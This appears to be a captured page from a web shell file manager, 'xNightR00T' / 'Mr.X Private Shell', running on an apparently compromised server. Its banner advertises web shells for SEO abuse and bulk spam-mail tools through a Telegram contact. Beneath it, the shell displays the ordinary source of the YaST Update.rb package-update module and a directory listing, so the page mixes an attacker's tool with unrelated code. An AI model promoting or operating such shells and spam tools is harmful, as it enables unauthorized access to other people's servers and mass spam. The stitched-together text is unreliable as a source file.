xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# ------------------------------------------------------------------------------
# Copyright (c) 2006-2012 Novell, Inc. All Rights Reserved.
#
#
# This program is free software; you can redistribute it and/or modify it under
# the terms of version 2 of the GNU General Public License as published by the
# Free Software Foundation.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with
# this program; if not, contact Novell, Inc.
#
# To contact Novell about this file by physical or electronic mail, you may find
# current contact information at www.novell.com.
# ------------------------------------------------------------------------------

# Module:		Update.ycp
#
# Authors:		Anas Nashif <nashif@suse.de>
#			Arvin Schnell <arvin@suse.de>
#			Lukas Ocilka <locilka@suse.cz>
#
# Purpose:		Update module
#

require "yast"
require "fileutils"

module Yast
  class UpdateClass < Module

    include Yast::Logger

    def main
      Yast.import "Pkg"

      textdomain "update"

      Yast.import "Installation"
      Yast.import "Packages"
      Yast.import "ProductFeatures"
      Yast.import "ProductControl"
      Yast.import "Stage"
      Yast.import "OSRelease"
      Yast.import "SUSERelease"
      Yast.import "Mode"

      # number of packages to install
      @packages_to_install = 0

      # number of packages to update
      @packages_to_update = 0

      # number of packages to remove
      @packages_to_remove = 0

      # number of packages unknown (problematic) by update
      @unknown_packages = 0

      # number of errors (packages?) returned by solver
      @solve_errors = 0

      #    // Flag is set true if the user decides to delete unmaintained packages
      #    global boolean deleteOldPackages = nil;

      # Flag is set to true when package downgrade is allowed
      @silentlyDowngradePackages = nil

      # Flag is set to true if installed packages should be kept
      @keepInstalledPatches = nil

      # don't allow upgrade only update
      @disallow_upgrade = false

      @did_init1 = false

      @did_init2 = false

      @last_runlevel = -1

      # Only an update, NOT an upgrade
      @onlyUpdateInstalled = nil

      @selected_selection = ""

      @products_incompatible = false

      # Version of the targetsystem
      #
      # !!! moved to Installation::installedVersion !!!
      #
      # global map <string, any> installedVersion = $[];

      # Version of the source medium
      #
      # !!! moved to Installation::updateVersion !!!
      #
      # global map <string, any> updateVersion = $[];


      # Flag, if the basesystem have to be installed
      @updateBasePackages = false

      # counter for installed packages
      @packagesInstalled = 0


      # see bug #40358
      @manual_interaction = false

      # are the products (installed and to update) compatible?
      @_products_compatible = nil
    end

    #-----------------------------------------------------------------------
    # FATE #301844 - Tuning Update Features
    #-----------------------------------------------------------------------

    def ListOfRegexpsMatchesProduct(regexp_items, product)
      return false if regexp_items.nil? || regexp_items.empty?

      if product.nil?
        log.error "Product is nil"
        return false
      end

      ret = regexp_items.any? do |one_regexp|
        match = Builtins.regexpmatch(product, one_regexp)
        log.info ">#{product}< is matching >#{one_regexp}<" if match
        match
      end

      log.info "A regexp matches the installed product: #{ret}"
      ret
    end

    # Returns whether upgrade process should only update installed packages or
    # also install new packages. True means - do not upgrade, only update packages.
    # (Functionality for FATE #301844).
    def OnlyUpdateInstalled
      # changes onlyUpdateInstalled variable
      default_ous_a = ProductFeatures.GetFeature(
        "software",
        "only_update_selected"
      )

      default_ous = nil
      if default_ous_a == nil || default_ous_a == ""
        Builtins.y2error("software/only_update_selected not defined")
        return false
      end
      if Ops.is_boolean?(default_ous_a)
        default_ous = Convert.to_boolean(default_ous_a)
      end

      installed_system = installed_product
      Builtins.y2milestone(
        "Processing '%1' from '%2'",
        installed_system,
        Installation.destdir
      )

      if installed_system == nil || installed_system == ""
        Builtins.y2error("Cannot find out installed system name")
        return default_ous
      end

      reverse_ous_a = ProductFeatures.GetFeature(
        "software",
        "only_update_selected_reverse_list"
      )
      # No reverse rules defined
      return default_ous if reverse_ous_a == ""
      # not a list or empty list
      reverse_ous = Convert.convert(
        reverse_ous_a,
        :from => "any",
        :to   => "list <string>"
      )
      return default_ous if reverse_ous == nil || reverse_ous == []

      if ListOfRegexpsMatchesProduct(reverse_ous, installed_system)
        return !default_ous
      end

      default_ous
    end

    # Returns whether upgrade process should silently downgrade packages if needed.
    # 'true' means that packages might be downgraded, 'nil' is returned when
    # the feature is not supported in the control file.
    def SilentlyDowngradePackages
      # returns empty string if not defined, buggy GetBooleanFeature
      default_sdp_a = ProductFeatures.GetFeature(
        "software",
        "silently_downgrade_packages"
      )

      default_sdp = nil
      if default_sdp_a == nil || default_sdp_a == ""
        Builtins.y2milestone("software/silently_downgrade_packages not defined")
        return nil
      end
      if Ops.is_boolean?(default_sdp_a)
        default_sdp = Convert.to_boolean(default_sdp_a)
      end

      installed_system = installed_product
      Builtins.y2milestone(
        "Processing '%1' from '%2'",
        installed_system,
        Installation.destdir
      )

      if installed_system == nil || installed_system == ""
        Builtins.y2error("Cannot find out installed system name")
        return default_sdp
      end

      reverse_sdp_a = ProductFeatures.GetFeature(
        "software",
        "silently_downgrade_packages_reverse_list"
      )
      # No reverse rules defined
      return default_sdp if reverse_sdp_a == ""
      # not a list or empty list
      reverse_sdp = Convert.convert(
        reverse_sdp_a,
        :from => "any",
        :to   => "list <string>"
      )
      return default_sdp if reverse_sdp == nil || reverse_sdp == []

      if ListOfRegexpsMatchesProduct(reverse_sdp, installed_system)
        return !default_sdp
      end

      default_sdp
    end

    # Returns whether the installed product is supported for upgrade.
    # (Functionality for FATE #301844).
    def IsProductSupportedForUpgrade
      installed_system = installed_product
      Builtins.y2milestone(
        "Processing '%1' from '%2'",
        installed_system,
        Installation.destdir
      )

      if installed_system == nil || installed_system == ""
        Builtins.y2error("Cannot find out installed system name")
        return false
      end

      supported_products_a = ProductFeatures.GetFeature(
        "software",
        "products_supported_for_upgrade"
      )
      # No products defined
      if supported_products_a == ""
        Builtins.y2warning("No products_supported_for_upgrade defined")
        return true
      end
      # not a list or empty list
      supported_products = Convert.convert(
        supported_products_a,
        :from => "any",
        :to   => "list <string>"
      )
      return true if supported_products == nil || supported_products == []

      if ListOfRegexpsMatchesProduct(supported_products, installed_system)
        return true
      end

      false
    end


    #-----------------------------------------------------------------------
    # GLOBAL FUNCTIONS
    #-----------------------------------------------------------------------


    def SelectedProducts
      selected = Pkg.ResolvableProperties("", :product, "")
      selected = Builtins.filter(selected) do |p|
        Ops.get(p, "status") == :selected
      end
      Builtins.maplist(selected) do |p|
        Ops.get_locale(
          p,
          "display_name",
          Ops.get_locale(
            p,
            "summary",
            Ops.get_locale(
              p,
              "name",
              Ops.get_locale(p, "version", _("Unknown Product"))
            )
          )
        )
      end
    end

    # Check if installed product and product to upgrade to are compatible
    # @return [Boolean] true if update is possible
    def ProductsCompatible
      if @_products_compatible == nil
        if Stage.normal
          # check if name of one of the products on the installation
          # media is same as one of the installed products
          # assuming that multiple products on installation media
          # are compatible and compatibility is transitive
          inst = Pkg.ResolvableProperties("", :product, "")
          inst = Builtins.filter(inst) { |p| Ops.get(p, "status") == :installed }
          inst_names = Builtins.maplist(inst) do |p|
            Ops.get_string(p, "name", "")
          end
          to_install = Builtins.maplist(Pkg.SourceGetCurrent(true)) do |src|
            prod_info = Pkg.SourceProductData(src)
            Ops.get_string(prod_info, "name", "")
          end
          # filter out empty products
          to_install = Builtins.filter(to_install) { |o_p| o_p != "" }

          Builtins.y2milestone("Installed products: %1", inst_names)
          Builtins.y2milestone("Products on installation media: %1", to_install)

          # at least one product name found
          if Ops.greater_than(Builtins.size(to_install), 0)
            equal_product = Builtins.find(inst_names) do |i|
              found = Builtins.find(to_install) { |u| u == i }
              found != nil
            end
            @_products_compatible = equal_product != nil 
            # no product name found
            # bugzilla #218720, valid without testing according to comment #10
          else
            Builtins.y2warning(
              "No products found, setting product-compatible to 'true'"
            )
            @_products_compatible = true
          end
        else
          @_products_compatible = true # FIXME this is temporary
        end
        Builtins.y2milestone(
          "Products found compatible: %1",
          @_products_compatible
        )
      end

      @_products_compatible
    end

    def IgnoreProductCompatibility
      @_products_compatible = true

      nil
    end

    # Set initial values for variables that user can't change.
    # They are defined in the control file.
    def InitUpdate
      Builtins.y2milestone("Calling: InitUpdate()")

      @silentlyDowngradePackages = SilentlyDowngradePackages()
      Builtins.y2milestone(
        "silentlyDowngradePackages: %1",
        @silentlyDowngradePackages
      )

      nil
    end

    # Drops packages defined in control file (string) software->dropped_packages
    #
    # @see bnc #300540
    def DropObsoletePackages
      packages_to_drop = ProductFeatures.GetStringFeature(
        "software",
        "dropped_packages"
      )

      if packages_to_drop == nil || packages_to_drop == ""
        Builtins.y2milestone("No obsolete packages to drop")
        return
      end

      l_packages_to_drop = Builtins.splitstring(packages_to_drop, ", \n")
      Builtins.y2milestone("Packages to drop: %1", l_packages_to_drop)

      Builtins.foreach(l_packages_to_drop) do |one_package|
        if Pkg.PkgInstalled(one_package) || Pkg.IsSelected(one_package)
          Builtins.y2milestone("Package to delete: %1", one_package)
          Pkg.PkgDelete(one_package)
        end
      end

      nil
    end

    #
    def Reset
      Builtins.y2milestone("Calling: UpdateReset()")

      InitUpdate()

      #	deleteOldPackages = DeleteOldPackages();
      #	y2milestone ("deleteOldPackages %1", deleteOldPackages);

      @onlyUpdateInstalled = OnlyUpdateInstalled()
      @default_onlyUpdateInstalled = deep_copy(@onlyUpdateInstalled)
      Builtins.y2milestone("onlyUpdateInstalled %1", @onlyUpdateInstalled)

      @disallow_upgrade = false

      @manual_interaction = false
      @products_incompatible = false
      @_products_compatible = nil

      Installation.update_backup_modified = true
      Installation.update_backup_sysconfig = true
      Installation.update_remove_old_backups = false
      Installation.update_backup_path = "/var/adm/backup"

      nil
    end


    #
    def fill_version_map(data)
      if Ops.get_string(data.value, "name", "?") == "?" &&
          Ops.get_string(data.value, "version", "?") == "?"
        Ops.set(data.value, "nameandversion", "?")
      else
        Ops.set(
          data.value,
          "nameandversion",
          Ops.add(
            Ops.add(Ops.get_string(data.value, "name", "?"), " "),
            Ops.get_string(data.value, "version", "?")
          )
        )
      end

      tmp0 = []
      if Builtins.regexpmatch(Ops.get_string(data.value, "version", ""), " -")
        Builtins.splitstring(Ops.get_string(data.value, "version", ""), " -")
      end

      tmp1 = []
      if Builtins.regexpmatch(Ops.get(tmp0, 0, ""), ".")
        Builtins.splitstring(Ops.get(tmp0, 0, ""), ".")
      end

      tmp2 = Builtins.tointeger(Ops.get(tmp1, 0, "-1"))
      Ops.set(data.value, "major", tmp2) if Ops.greater_or_equal(tmp2, 0)

      tmp3 = Builtins.tointeger(Ops.get(tmp1, 1, "-1"))
      Ops.set(data.value, "minor", tmp3) if Ops.greater_or_equal(tmp3, 0)

      nil
    end


    # Read product name and version for the old and new release.
    # Fill Installation::installedVersion and Installation::updateVersion.
    # @return success
    def GetProductName
      Installation.installedVersion = {}
      Installation.updateVersion = {}

      # get old product name

      # cannot use product information from package manager
      # for pre-zypp products
      # #153576
      old_name = installed_product
      Builtins.y2milestone("OSRelease::ReleaseInformation: %1", old_name)

      # Remove 'Beta...' from product release
      if Builtins.regexpmatch(old_name, "Beta")
        old_name = Builtins.regexpsub(old_name, "^(.*)[ \t]+Beta.*$", "\\1") 
        # Remove 'Alpha...' from product release
      elsif Builtins.regexpmatch(old_name, "Alpha")
        old_name = Builtins.regexpsub(old_name, "^(.*)[ \t]+Alpha.*$", "\\1")
      end

      p = Builtins.findlastof(old_name, " ")
      if p == nil
        Builtins.y2error("release info <%1> is screwed", old_name)
        Installation.installedVersion = {}
      else
        Ops.set(Installation.installedVersion, "show", old_name)
        Ops.set(
          Installation.installedVersion,
          "name",
          Builtins.substring(old_name, 0, p)
        )
        Ops.set(
          Installation.installedVersion,
          "version",
          Builtins.substring(old_name, Ops.add(p, 1))
        )
        installedVersion_ref = arg_ref(Installation.installedVersion)
        fill_version_map(installedVersion_ref)
        Installation.installedVersion = installedVersion_ref.value
      end

      # "minor" and "major" version keys
      # bug #153576, "version" == "9" or "10.1" or ...
      inst_ver = Ops.get_string(Installation.installedVersion, "version", "")
      if inst_ver != "" && inst_ver != nil
        # SLE, SLD, OES...
        if Builtins.regexpmatch(inst_ver, "^[0123456789]+$")
          Ops.set(
            Installation.installedVersion,
            "major",
            Builtins.tointeger(inst_ver)
          ) 
          # openSUSE
        elsif Builtins.regexpmatch(inst_ver, "^[0123456789]+.[0123456789]+$")
          Ops.set(
            Installation.installedVersion,
            "major",
            Builtins.tointeger(
              Builtins.regexpsub(
                inst_ver,
                "^([0123456789]+).[0123456789]+$",
                "\\1"
              )
            )
          )
          Ops.set(
            Installation.installedVersion,
            "minor",
            Builtins.tointeger(
              Builtins.regexpsub(
                inst_ver,
                "^[0123456789]+.([0123456789]+)$",
                "\\1"
              )
            )
          )
        else
          Builtins.y2error("Cannot find out major/minor from >%1<", inst_ver)
        end
      else
        Builtins.y2error(
          "Cannot find out version: %1",
          Installation.installedVersion
        )
      end

      if Mode.test
        Builtins.y2error("Skipping detection of new system")
        return true
      end

      # get new product name

      num = Builtins.size(Packages.theSources)

      if Ops.less_or_equal(num, 0)
        Builtins.y2error("No source")
        Ops.set(Installation.updateVersion, "name", "?")
        Ops.set(Installation.updateVersion, "version", "?")
        updateVersion_ref = arg_ref(Installation.updateVersion)
        fill_version_map(updateVersion_ref)
        Installation.updateVersion = updateVersion_ref.value
        return false
      end

      update_to_source = nil
      Builtins.y2milestone("Known sources: %1", Packages.theSources)

      # So-called System Update
      Builtins.foreach(Packages.theSources) do |source_id|
        source_map = Pkg.SourceProductData(source_id)
        # source need to be described
        if source_map != {}
          if Ops.get_string(source_map, "productversion", "A") ==
              Ops.get_string(Installation.installedVersion, "version", "B")
            Builtins.y2milestone("Found matching product: %1", source_map)
            update_to_source = source_id
          else
            Builtins.y2error("Found non-matching product: %1", source_map)
            # every invalid product is selected
            update_to_source = source_id if update_to_source == nil
          end
        end
      end if Stage.normal(
      )

      # fallback for Stage::normal()
      if Stage.normal
        if update_to_source == nil
          update_to_source = Ops.get(
            Packages.theSources,
            Ops.subtract(num, 1),
            0
          )
        end 
        # default for !Stage::normal
      else
        update_to_source = Packages.GetBaseSourceID
      end

      new_product = Pkg.SourceProductData(update_to_source)
      new_source = Pkg.SourceGeneralData(update_to_source)

      Builtins.y2milestone(
        "Product to update to: %1 %2 %3",
        update_to_source,
        new_product,
        new_source
      )

      if new_product == nil
        Ops.set(Installation.updateVersion, "name", "?")
        Ops.set(Installation.updateVersion, "version", "?")
        Builtins.y2error(
          "Cannot find out source details: %1",
          Installation.updateVersion
        )
        updateVersion_ref = arg_ref(Installation.updateVersion)
        fill_version_map(updateVersion_ref)
        Installation.updateVersion = updateVersion_ref.value
        return false
      end

      # bugzilla #225256, use "label" first, then a "productname"
      Ops.set(Installation.updateVersion, "show", Ops.get(new_product, "label"))
      if Ops.get(Installation.updateVersion, "show") == nil
        Builtins.y2warning("No 'label' defined in product")

        if Ops.get_string(new_product, "productname", "?") == "?" &&
            Ops.get_string(new_product, "productversion", "?") == "?"
          Ops.set(Installation.updateVersion, "show", "?")
        else
          Ops.set(
            Installation.updateVersion,
            "show",
            Ops.add(
              Ops.add(Ops.get_string(new_product, "productname", "?"), " "),
              Ops.get_string(new_product, "productversion", "?")
            )
          )
        end
      end
      Ops.set(
        Installation.updateVersion,
        "name",
        Ops.get_string(
          new_product,
          "label",
          Ops.get_string(new_product, "productname", "?")
        )
      )
      Ops.set(
        Installation.updateVersion,
        "version",
        Ops.get_string(new_product, "productversion", "?")
      )
      updateVersion_ref = arg_ref(Installation.updateVersion)
      fill_version_map(updateVersion_ref)
      Installation.updateVersion = updateVersion_ref.value

      new_ver = Ops.get_string(Installation.updateVersion, "version", "")
      if new_ver != "" && new_ver != nil
        # SLE, SLD, OES...
        if Builtins.regexpmatch(new_ver, "^[0123456789]+$")
          Ops.set(
            Installation.updateVersion,
            "major",
            Builtins.tointeger(new_ver)
          ) 
          # openSUSE
        elsif Builtins.regexpmatch(new_ver, "^[0123456789]+.[0123456789]$")
          Ops.set(
            Installation.updateVersion,
            "major",
            Builtins.tointeger(
              Builtins.regexpsub(
                new_ver,
                "^([0123456789]+).[0123456789]$",
                "\\1"
              )
            )
          )
          Ops.set(
            Installation.updateVersion,
            "minor",
            Builtins.tointeger(
              Builtins.regexpsub(
                new_ver,
                "^[0123456789]+.([0123456789])$",
                "\\1"
              )
            )
          )
        else
          Builtins.y2error("Cannot find out major/minor from %1", new_ver)
        end
      else
        Builtins.y2error(
          "Cannot find out version: %1",
          Installation.updateVersion
        )
      end

      Builtins.y2milestone(
        "update from %1 to %2",
        Installation.installedVersion,
        Installation.updateVersion
      )

      true
    end

    def GetBasePatterns
      # get available base patterns
      patterns = Pkg.ResolvableProperties("", :pattern, "")
      patterns = Builtins.filter(patterns) do |p|
        if Ops.get(p, "status") != :selected &&
            Ops.get(p, "status") != :available
          next false
        end
        # if type != base
        true
      end
      Builtins.maplist(patterns) { |p| Ops.get_string(p, "name", "") }
    end

    # Searches the mounted system ready for ugrade for current desktop
    # and selects resolvables matching this desktop in new product as
    # it is defined in control file software->upgrade->window_managers
    #
    # @return [Boolean] whether selecting resolvables have succeeded
    def SetDesktopPattern
      upgrade_settings = ProductFeatures.GetFeature("software", "upgrade")

      if !upgrade_settings.kind_of?(Hash) || !upgrade_settings.has_key?("window_managers")
        log.info "Desktop upgrade is not handled by this product (settings: #{upgrade_settings})"
        return true
      end

      current_desktop = installed_desktop

      if current_desktop.nil? || current_desktop.empty?
        log.warn "Cannot read default window manager from sysconfig"
        return true
      end

      selected_desktop = upgrade_settings["window_managers"].find do |wm|
        unless wm["sysconfig_wm"]
          log.error "'sysconfig_wm' must be defined in #{wm}"
          next
        end
        wm["sysconfig_wm"].strip == current_desktop
      end

      if !selected_desktop
        log.info "No matching desktop found for #{current_desktop}"
        return true
      end

      # If the current default desktop is not installed, it's a valid use case
      # and we don't continue further
      return true unless packages_installed?(selected_desktop.fetch("check_packages", "").split)

      install_patterns = selected_desktop.fetch("install_patterns", "").split
      failed_patterns = select_for_installation(:pattern, install_patterns)

      install_packages = selected_desktop.fetch("install_packages", "").split
      failed_packages = select_for_installation(:package, install_packages)

      failed_patterns.empty? or Report.Error(
        _("Cannot select these patterns required for installation:\n%{patterns}") %
        {:patterns => failed_patterns.join("\n")}
      )

      failed_packages.empty? or Report.Error(
        _("Cannot select these packages required for installation:\n%{packages}") %
        {:packages => failed_packages.join("\n")}
      )

      failed_patterns.empty? && failed_packages.empty?
    end

    #
    def Detach
      # release mounted devices
      Pkg.SourceReleaseAll

      # remove all repos except the initial installation repository
      # to close the solv files and allow unmounting the target
      repos_to_delete = Pkg.SourceGetCurrent(false)
      repos_to_delete.delete(0)
      log.info "Removing repositories: #{repos_to_delete}"

      # the changes are not saved to the target system, the repositories
      # are removed only from pkg-bindings
      repos_to_delete.each do |repo_to_delete|
        Pkg.SourceDelete(repo_to_delete)
      end

      Pkg.TargetFinish
      @did_init1 = false
      @did_init2 = false

      nil
    end

    # Returns product installed on root partition mounted to Installation.destdir
    # If not found, nil is returned
    #
    # @return [String] product name
    def installed_product
      begin
        return OSRelease.ReleaseInformation(Installation.destdir)
      rescue OSReleaseFileMissingError => e
        log.info "Cannot read release information #{e.message}, trying SUSERelease"
      end

      begin
        return SUSERelease.ReleaseInformation(Installation.destdir)
      rescue SUSEReleaseFileMissingError => e
        log.info "Cannot read release information: #{e.message}"
      rescue IOError => e
        log.error "Error reading SuSE-release in #{Installation.destdir}: #{e.message}"
      end

      return nil
    end

    BACKUP_DIR = "var/adm/backup/system-upgrade"
    # Creates backup with name based on `name` contaings everything
    # matching globs in `paths`.
    # @param name[String] name for backup file. Use bash friendly name ;)
    # @note Can be called only after target root is mounted.
    #
    # @example to store repos file and credentials directory
    #   Update.create_backup("repos", ["/etc/zypp/repos.d/*", "/etc/zypp/credentials"])
    def create_backup(name, paths)
      log.info "Creating tarball for #{name} including #{paths}"
      mounted_root = Installation.destdir

      tarball_path = File.join(BACKUP_DIR, "#{name}.tar.gz")
      root_tarball_path = File.join(mounted_root, tarball_path)
      create_tarball(root_tarball_path, mounted_root, paths)

      script_path = File.join(mounted_root, BACKUP_DIR, "restore-#{name}.sh")
      create_restore_script(script_path, tarball_path, paths)
    end

    # clean backup content. Usefull to clean up all content before creating new backup
    def clean_backup
      log.info "Cleaning backup dir"
      mounted_root = Installation.destdir
      ::FileUtils.rm_r(File.join(mounted_root, BACKUP_DIR),
        :force => true, :secure => true)
    end

    # restores backup
    def restore_backup
      log.info "Restoring backup"
      mounted_root = Installation.destdir
      script_glob = File.join(mounted_root, BACKUP_DIR,"restore-*.sh")
      ::Dir.glob(script_glob).each do |path|
        cmd = "sh #{path} #{File.join("/", mounted_root)}"
        res = SCR.Execute(path(".target.bash_output"), cmd)
        log.info "Restoring with script #{cmd} result: #{res}"
      end
    end

    publish :variable => :packages_to_install, :type => "integer"
    publish :variable => :packages_to_update, :type => "integer"
    publish :variable => :packages_to_remove, :type => "integer"
    publish :variable => :unknown_packages, :type => "integer"
    publish :variable => :solve_errors, :type => "integer"
    publish :variable => :silentlyDowngradePackages, :type => "boolean"
    publish :variable => :keepInstalledPatches, :type => "boolean"
    publish :variable => :disallow_upgrade, :type => "boolean"
    publish :variable => :did_init1, :type => "boolean"
    publish :variable => :did_init2, :type => "boolean"
    publish :variable => :last_runlevel, :type => "integer"
    publish :variable => :onlyUpdateInstalled, :type => "boolean"
    publish :variable => :default_onlyUpdateInstalled, :type => "boolean"
    publish :variable => :selected_selection, :type => "string"
    publish :variable => :products_incompatible, :type => "boolean"
    publish :variable => :updateBasePackages, :type => "boolean"
    publish :variable => :packagesInstalled, :type => "integer"
    publish :variable => :manual_interaction, :type => "boolean"
    publish :function => :OnlyUpdateInstalled, :type => "boolean ()"
    publish :function => :SilentlyDowngradePackages, :type => "boolean ()"
    publish :function => :IsProductSupportedForUpgrade, :type => "boolean ()"
    publish :function => :SelectedProducts, :type => "list <string> ()"
    publish :function => :ProductsCompatible, :type => "boolean ()"
    publish :function => :IgnoreProductCompatibility, :type => "void ()"
    publish :function => :InitUpdate, :type => "void ()"
    publish :function => :DropObsoletePackages, :type => "void ()"
    publish :function => :Reset, :type => "void ()"
    publish :function => :fill_version_map, :type => "void (map <string, any> &)"
    publish :function => :GetProductName, :type => "boolean ()"
    publish :function => :GetBasePatterns, :type => "list <string> ()"
    publish :function => :SetDesktopPattern, :type => "void ()"
    publish :function => :Detach, :type => "void ()"
    publish :function => :installed_product, :type => "string ()"
    publish :function => :create_backup, :type => "void (string,list)"
    publish :function => :clean_backup, :type => "void ()"
    publish :function => :restore_backup, :type => "void ()"

  private

    def create_tarball(tarball_path, root, paths)
      # tar reports an error if a file does not exist.
      # So we have to check this before.
      existing_paths = paths.select { |p| File.exist?(File.join(root, p)) }

      # ensure directory exists
      ::FileUtils.mkdir_p(File.dirname(tarball_path))

      paths_without_prefix = existing_paths.map {|p| p.start_with?("/") ? p[1..-1] : p }

      command = "tar cv -C '#{root}'"
      # no shell escaping here, but we backup reasonable files and want to allow globs
      command << " " + paths_without_prefix.join(" ")
      # use parallel gzip for faster compression (uses all available CPU cores)
      command << " | pigz - > '#{tarball_path}'"
      res = SCR.Execute(path(".target.bash_output"),  command)
      log.info "backup created with '#{command}' result: #{res}"


      # tarball can contain sensitive data, so prevent read to non-root
      # do it for sure even if tar failed as it can contain partial content
      ::FileUtils.chmod(0600, tarball_path) if File.exist?(tarball_path)

      raise "Failed to create backup" if res["exit"] != 0
    end

    def create_restore_script(script_path, tarball_path, paths)
      paths_without_prefix = paths.map {|p| p.start_with?("/") ? p[1..-1] : p }

      # remove leading "/" from tarball to allow to run it from different root
      tarball_path = tarball_path[1..-1] if tarball_path.start_with?("/")
      script_content = <<EOF
#! /bin/sh
# change root to first parameter or use / as default
# it is needed to allow restore in installation
cd ${1:-/}
#{paths_without_prefix.map{ |p| "rm -rf #{p}" }.join("\n")}

tar xvf #{tarball_path} --overwrite
# return back to original dir
cd -
EOF

      File.write(script_path, script_content)
      # allow execution of script
      ::FileUtils.chmod(0744, script_path)
    end

    # Reads the currently selected default desktop from sysconfig
    # and returns it
    #
    # @return [String] current default desktop
    def installed_desktop
      windowmanager_sysconfig = File.join(
        Installation.destdir, "/etc/sysconfig/windowmanager"
      )

      if !FileUtils.Exists(windowmanager_sysconfig)
        log.warn "Sysconfig file #{windowmanager_sysconfig} does not exist, " <<
          "desktop upgrade will not be handled"
        return nil
      end

      Misc.CustomSysconfigRead("DEFAULT_WM", "", windowmanager_sysconfig).strip
    end

    # Selects resolvables for installation and returns list of failed resolvables
    #
    # @param [Symbol] resolvable type
    # @param [Array] list of resolvables for installation
    # @return [Array] list of failed resolvables
    def select_for_installation(resolvable_type, resolvables)
      failed_resolvables = []
      return failed_resolvables if resolvables.empty?

      log.info "Selecting required #{resolvable_type}s #{resolvables}"

      resolvables.each do |resolvable|
        next if resolvable.nil? || resolvable.empty?

        unless Pkg.ResolvableInstall(resolvable, resolvable_type)
          failed_resolvables << resolvable
          log.error "Cannot select #{resolvable_type} #{resolvable} for installation"
        end
      end

      failed_resolvables
    end

    # check if given package is installed in the system selected for update
    # (currently mounted under Installation.destdir)
    #
    # @param [String] package name
    # @return [Boolean] whether the given package is installed
    def package_installed?(package)
      package_installed = SCR.Execute(
        path(".target.bash"),
        Builtins.sformat("rpm -q '#{package}' --root '#{Installation.destdir}'")
      ) == 0

      log.info "Package #{package} installed: #{package_installed}"
      package_installed
    end

    # Returns whether all packages given as parameter are installed on the system
    #
    # @param [Array] list of packages
    # @return [Boolean] whether all of packages are installed
    def packages_installed?(packages)
      desktop_installed = packages.all? do |package|
        package_installed?(package)
      end

      log.info "Not all packages from list #{packages} are installed" unless desktop_installed

      desktop_installed
    end

  end

  Update = UpdateClass.new
  Update.main
end

Filemanager

Name Type Size Permission Actions
YaPI Folder 0755
YaST Folder 0755
ALog.rb File 3.26 KB 0644
AddOnProduct.rb File 78.59 KB 0644
Address.rb File 3.45 KB 0644
Arch.rb File 15.59 KB 0644
AsciiFile.rb File 12.59 KB 0644
Assert.rb File 2.06 KB 0644
AuditLaf.rb File 21.16 KB 0644
AuthServer.pm File 172.86 KB 0644
AutoInstall.rb File 11.34 KB 0644
AutoInstallRules.rb File 36.37 KB 0644
AutoinstClass.rb File 7.62 KB 0644
AutoinstClone.rb File 6.82 KB 0644
AutoinstCommon.rb File 3.18 KB 0644
AutoinstConfig.rb File 17.86 KB 0644
AutoinstData.rb File 2.37 KB 0644
AutoinstDrive.rb File 14.28 KB 0644
AutoinstFile.rb File 9.3 KB 0644
AutoinstFunctions.rb File 1.1 KB 0644
AutoinstGeneral.rb File 17.48 KB 0644
AutoinstImage.rb File 1.75 KB 0644
AutoinstLVM.rb File 21.58 KB 0644
AutoinstPartPlan.rb File 36.37 KB 0644
AutoinstPartition.rb File 14.53 KB 0644
AutoinstRAID.rb File 7.73 KB 0644
AutoinstScripts.rb File 36.75 KB 0644
AutoinstSoftware.rb File 38.57 KB 0644
AutoinstStorage.rb File 48.62 KB 0644
Autologin.rb File 4.82 KB 0644
BootArch.rb File 3.37 KB 0644
BootStorage.rb File 10.15 KB 0644
BootSupportCheck.rb File 7.36 KB 0644
Bootloader.rb File 15.87 KB 0644
CWM.rb File 39.16 KB 0644
CWMFirewallInterfaces.rb File 38.92 KB 0644
CWMServiceStart.rb File 27.49 KB 0644
CWMTab.rb File 13.2 KB 0644
CWMTable.rb File 14.57 KB 0644
CWMTsigKeys.rb File 24.93 KB 0644
CaMgm.rb File 12.9 KB 0644
Call.rb File 1.53 KB 0644
CheckMedia.rb File 6.1 KB 0644
CommandLine.rb File 52.89 KB 0644
Confirm.rb File 6.95 KB 0644
Console.rb File 8.63 KB 0644
ContextMenu.rb File 1.4 KB 0644
Crash.rb File 5.26 KB 0644
Cron.rb File 2.85 KB 0644
CustomDialogs.rb File 2.52 KB 0644
DNS.rb File 23.77 KB 0644
DebugHooks.rb File 4.89 KB 0644
DefaultDesktop.rb File 13.29 KB 0644
Desktop.rb File 12.5 KB 0644
DevicesSelectionBox.rb File 5.67 KB 0644
DhcpServer.pm File 70.43 KB 0644
DhcpServerUI.rb File 10.43 KB 0644
DialogTree.rb File 11.76 KB 0644
Directory.rb File 4.99 KB 0644
Distro.rb File 2.29 KB 0644
DnsData.pm File 1.65 KB 0644
DnsFakeTabs.rb File 751 B 0644
DnsRoutines.pm File 2.81 KB 0644
DnsServer.pm File 57.26 KB 0644
DnsServerAPI.pm File 68.81 KB 0644
DnsServerHelperFunctions.rb File 11.83 KB 0644
DnsServerUI.rb File 3.78 KB 0644
DnsTsigKeys.pm File 2.53 KB 0644
DnsZones.pm File 22.9 KB 0644
DontShowAgain.rb File 13.03 KB 0644
DualMultiSelectionBox.rb File 24.91 KB 0644
Encoding.rb File 4.54 KB 0644
Event.rb File 4.89 KB 0644
FTP.rb File 2.32 KB 0644
FileChanges.rb File 9.39 KB 0644
FileSystems.rb File 69.86 KB 0644
FileUtils.rb File 17.64 KB 0644
FtpServer.rb File 36.4 KB 0644
